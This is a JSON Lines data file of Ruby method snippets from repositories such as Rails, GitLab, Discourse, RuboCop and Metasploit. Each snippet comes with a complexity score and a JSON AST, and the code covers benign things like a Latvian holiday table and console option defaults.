{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/lib/generated_definitions/lv.rb","start_line":13,"raw_source":"def self.holidays_by_month\n      {\n                0 => [{:function => \"easter(year)\", :function_arguments => [:year], :function_modifier => -2, :name => \"Lielā Piektdiena\", :regions => [:lv]},\n            {:function => \"easter(year)\", :function_arguments => [:year], :name => \"Pirmās Lieldienas\", :regions => [:lv]},\n            {:function => \"easter(year)\", :function_arguments => [:year], :function_modifier => 1, :name => \"Otrās Lieldienas\", :regions => [:lv]},\n            {:function => \"easter(year)\", :function_arguments => [:year], :function_modifier => 49, :name => \"Vasarsvētki\", :regions => [:lv]},\n            {:function => \"lv_song_and_dance_festival_end_date(year)\", :function_arguments => [:year], :year_ranges => { :from => 2018 },:observed => \"to_monday_if_weekend(date)\", :observed_arguments => [:date], :name => \"Vispārējo latviešu Dziesmu un deju svētku noslēguma diena\", :regions => [:lv]}],\n      1 => [{:mday => 1, :name => \"Jaungada diena\", :regions => [:lv]}],\n      5 => [{:mday => 1, :name => \"Darba svētki, Latvijas Republikas Satversmes sapulces sasaukšanas diena\", :regions => [:lv]},\n            {:mday => 4, :observed => \"to_monday_if_weekend(date)\", :observed_arguments => [:date], :name => \"Latvijas Republikas Neatkarības atjaunošanas diena\", :regions => [:lv]},\n            {:wday => 0, :week => 2, :name => \"Mātes diena\", :regions => [:lv]}],\n      6 => [{:mday => 23, :name => \"Līgo diena\", :regions => [:lv]},\n            {:mday => 24, :name => \"Jāņu diena\", :regions => [:lv]}],\n      9 => [{:mday => 24, :year_ranges => { :limited => [2018] },:name => \"Viņa Svētības pāvesta Franciska pastorālās vizītes Latvijā diena\", :regions => [:lv]}],\n      11 => [{:mday => 18, :observed => \"to_monday_if_weekend(date)\", :observed_arguments => [:date], :name => \"Latvijas Republikas Proklamēšanas diena\", :regions => [:lv]}],\n      12 => [{:mday => 24, :name => \"Ziemassvētku vakars\", :regions => [:lv]},\n            {:mday => 25, :name => \"Pirmie Ziemassvētki\", :regions => [:lv]},\n            {:mday => 26, :name => \"Otrie Ziemassvētki\", :regions => [:lv]},\n            {:mday => 31, :name => \"Vecgada diena\", :regions => [:lv]}]\n      }\n    end","complexity_score":5.75,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"holidays_by_month\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"easter(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_modifier\"]},{\"type\":\"int\",\"children\":[-2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Lielā Piektdiena\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"lv\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"easter(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Pirmās Lieldienas\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"lv\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"easter(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_modifier\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Otrās Lieldienas\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"lv\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"easter(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_modifier\"]},{\"type\":\"int\",\"children\":[49]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Vasarsvētki\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"lv\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function\"]},{\"type\":\"str\",\"children\":[\"lv_song_and_dance_festival_end_date(year)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"function_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"year_ranges\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"int\",\"children\":[2018]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed\"]},{\"type\":\"str\",\"children\":[\"to_monday_if_weekend(date)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Vispārējo latviešu Dziesmu un deju svētku noslēguma diena\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"lv\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Jaungada diena\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"lv\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[5]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Darba svētki, Latvijas Republikas Satversmes sapulces sasaukšanas diena\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"lv\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed\"]},{\"type\":\"str\",\"children\":[\"to_monday_if_weekend(date)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Latvijas Republikas Neatkarības atjaunošanas diena\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"lv\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wday\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"week\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Mātes diena\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"lv\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[6]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[23]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Līgo diena\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"lv\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[24]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Jāņu diena\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"lv\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[9]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[24]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"year_ranges\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limited\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[2018]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Viņa Svētības pāvesta Franciska pastorālās vizītes Latvijā diena\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"lv\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[11]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[18]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed\"]},{\"type\":\"str\",\"children\":[\"to_monday_if_weekend(date)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"observed_arguments\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Latvijas Republikas Proklamēšanas diena\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"lv\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[12]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[24]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Ziemassvētku vakars\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"lv\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[25]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Pirmie Ziemassvētki\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"lv\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[26]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Otrie Ziemassvētki\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"lv\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[31]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Vecgada diena\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"lv\"]}]}]}]}]}]}]}]}","id":"f44c71e5-b151-480e-8ed7-4cc4b5a27754"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/or_assignment.rb","start_line":70,"raw_source":"def autocorrect(corrector, node)\n          if ternary_assignment?(node)\n            variable, default = take_variable_and_default_from_ternary(node)\n          else\n            variable, default = take_variable_and_default_from_unless(node)\n          end\n\n          corrector.replace(node, \"#{variable} ||= #{default.source}\")\n        end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"autocorrect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ternary_assignment?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"variable\"]},{\"type\":\"lvasgn\",\"children\":[\"default\"]}]},{\"type\":\"send\",\"children\":[null,\"take_variable_and_default_from_ternary\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"variable\"]},{\"type\":\"lvasgn\",\"children\":[\"default\"]}]},{\"type\":\"send\",\"children\":[null,\"take_variable_and_default_from_unless\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variable\"]}]},{\"type\":\"str\",\"children\":[\" ||= \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default\"]},\"source\"]}]}]}]}]}]}","id":"2997ac85-f96f-42ce-b029-4b4e0b4c23d2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/parsed_options/console.rb","start_line":6,"raw_source":"def options\n    unless @options\n      super.tap { |options|\n        options.console = ActiveSupport::OrderedOptions.new\n\n        options.console.commands = []\n        options.console.confirm_exit = false\n        options.console.histfile = nil\n        options.console.logger = nil\n        options.console.local_output = nil\n        options.console.plugins = []\n        options.console.quiet = false\n        options.console.readline = true\n        options.console.resources = []\n        options.console.subcommand = :run\n      }\n    end\n\n    @options\n  end","complexity_score":31.8,"ast_json":"{\"type\":\"def\",\"children\":[\"options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},null,{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"console=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"OrderedOptions\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"console\"]},\"commands=\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"console\"]},\"confirm_exit=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"console\"]},\"histfile=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"console\"]},\"logger=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"console\"]},\"local_output=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"console\"]},\"plugins=\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"console\"]},\"quiet=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"console\"]},\"readline=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"console\"]},\"resources=\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"console\"]},\"subcommand=\",{\"type\":\"sym\",\"children\":[\"run\"]}]}]}]}]},{\"type\":\"ivar\",\"children\":[\"@options\"]}]}]}","id":"817c2588-cfdb-4a7a-99d4-cf983c48b964"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250404114449_add_lists_ensure_sharding_key_trigger.rb","start_line":31,"raw_source":"def down\n    drop_trigger(LISTS_TABLE, TRIGGER_NAME)\n    drop_function(TRIGGER_FUNCTION_NAME)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"drop_trigger\",{\"type\":\"const\",\"children\":[null,\"LISTS_TABLE\"]},{\"type\":\"const\",\"children\":[null,\"TRIGGER_NAME\"]}]},{\"type\":\"send\",\"children\":[null,\"drop_function\",{\"type\":\"const\",\"children\":[null,\"TRIGGER_FUNCTION_NAME\"]}]}]}]}","id":"7a886c57-f003-4cfb-9de5-da4a33b43653"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/converters.rb","start_line":30,"raw_source":"def self.names\n      self.all.keys.sort\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"names\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"all\"]},\"keys\"]},\"sort\"]}]}","id":"70569e16-28d5-4ea0-83d0-543032393ba6"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/visitors/dot.rb","start_line":157,"raw_source":"def visit_Arel_Nodes_DeleteStatement(o)\n          visit_edge o, \"relation\"\n          visit_edge o, \"wheres\"\n          visit_edge o, \"orders\"\n          visit_edge o, \"limit\"\n          visit_edge o, \"offset\"\n          visit_edge o, \"comment\"\n          visit_edge o, \"key\"\n        end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_Arel_Nodes_DeleteStatement\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visit_edge\",{\"type\":\"lvar\",\"children\":[\"o\"]},{\"type\":\"str\",\"children\":[\"relation\"]}]},{\"type\":\"send\",\"children\":[null,\"visit_edge\",{\"type\":\"lvar\",\"children\":[\"o\"]},{\"type\":\"str\",\"children\":[\"wheres\"]}]},{\"type\":\"send\",\"children\":[null,\"visit_edge\",{\"type\":\"lvar\",\"children\":[\"o\"]},{\"type\":\"str\",\"children\":[\"orders\"]}]},{\"type\":\"send\",\"children\":[null,\"visit_edge\",{\"type\":\"lvar\",\"children\":[\"o\"]},{\"type\":\"str\",\"children\":[\"limit\"]}]},{\"type\":\"send\",\"children\":[null,\"visit_edge\",{\"type\":\"lvar\",\"children\":[\"o\"]},{\"type\":\"str\",\"children\":[\"offset\"]}]},{\"type\":\"send\",\"children\":[null,\"visit_edge\",{\"type\":\"lvar\",\"children\":[\"o\"]},{\"type\":\"str\",\"children\":[\"comment\"]}]},{\"type\":\"send\",\"children\":[null,\"visit_edge\",{\"type\":\"lvar\",\"children\":[\"o\"]},{\"type\":\"str\",\"children\":[\"key\"]}]}]}]}","id":"c686a7eb-3693-43b2-baa5-fcae7affae02"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/integration_test.rb","start_line":40,"raw_source":"def test_to_param_class_method_truncates_after_parameterize\n    firm = Firm.find(4)\n    firm.name = \"Huey, Dewey, & Louie LLC\"\n    #               123456789T123456789v\n    assert_equal \"4-huey-dewey-louie-llc\", firm.to_param\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_to_param_class_method_truncates_after_parameterize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"firm\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Firm\"]},\"find\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"name=\",{\"type\":\"str\",\"children\":[\"Huey, Dewey, & Louie LLC\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"4-huey-dewey-louie-llc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"firm\"]},\"to_param\"]}]}]}]}","id":"11ed86f0-fe17-41b1-9013-25860f432e18"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/lib/chat/messages_exporter.rb","start_line":15,"raw_source":"def get_header(entity)\n      if entity === \"chat_message\"\n        %w[\n          id\n          chat_channel_id\n          chat_channel_name\n          user_id\n          username\n          message\n          cooked\n          created_at\n          updated_at\n          deleted_at\n          in_reply_to_id\n          last_editor_id\n          last_editor_username\n        ]\n      else\n        super\n      end\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"get_header\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entity\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entity\"]},\"===\",{\"type\":\"str\",\"children\":[\"chat_message\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"chat_channel_id\"]},{\"type\":\"str\",\"children\":[\"chat_channel_name\"]},{\"type\":\"str\",\"children\":[\"user_id\"]},{\"type\":\"str\",\"children\":[\"username\"]},{\"type\":\"str\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"cooked\"]},{\"type\":\"str\",\"children\":[\"created_at\"]},{\"type\":\"str\",\"children\":[\"updated_at\"]},{\"type\":\"str\",\"children\":[\"deleted_at\"]},{\"type\":\"str\",\"children\":[\"in_reply_to_id\"]},{\"type\":\"str\",\"children\":[\"last_editor_id\"]},{\"type\":\"str\",\"children\":[\"last_editor_username\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"b668a51f-3338-4457-b6b2-0abc5a8cbfe4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/kubernetes_helpers.rb","start_line":521,"raw_source":"def kube_ingresses_body(with_canary: false)\n    items = with_canary ? [kube_ingress, kube_ingress(track: :canary)] : [kube_ingress]\n\n    {\n      \"kind\" => \"List\",\n      \"items\" => items\n    }\n  end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"kube_ingresses_body\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"with_canary\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"with_canary\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"kube_ingress\"]},{\"type\":\"send\",\"children\":[null,\"kube_ingress\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"track\"]},{\"type\":\"sym\",\"children\":[\"canary\"]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"kube_ingress\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"kind\"]},{\"type\":\"str\",\"children\":[\"List\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"items\"]},{\"type\":\"lvar\",\"children\":[\"items\"]}]}]}]}]}","id":"c5414f2d-0fdb-4928-8631-ef5534fed91c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/groups_finder.rb","start_line":40,"raw_source":"def initialize(current_user = nil, params = {})\n    @current_user = current_user\n    @params = params\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"current_user\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"eb0832e7-45c0-4cf6-97de-a8f8ff872f0c"}
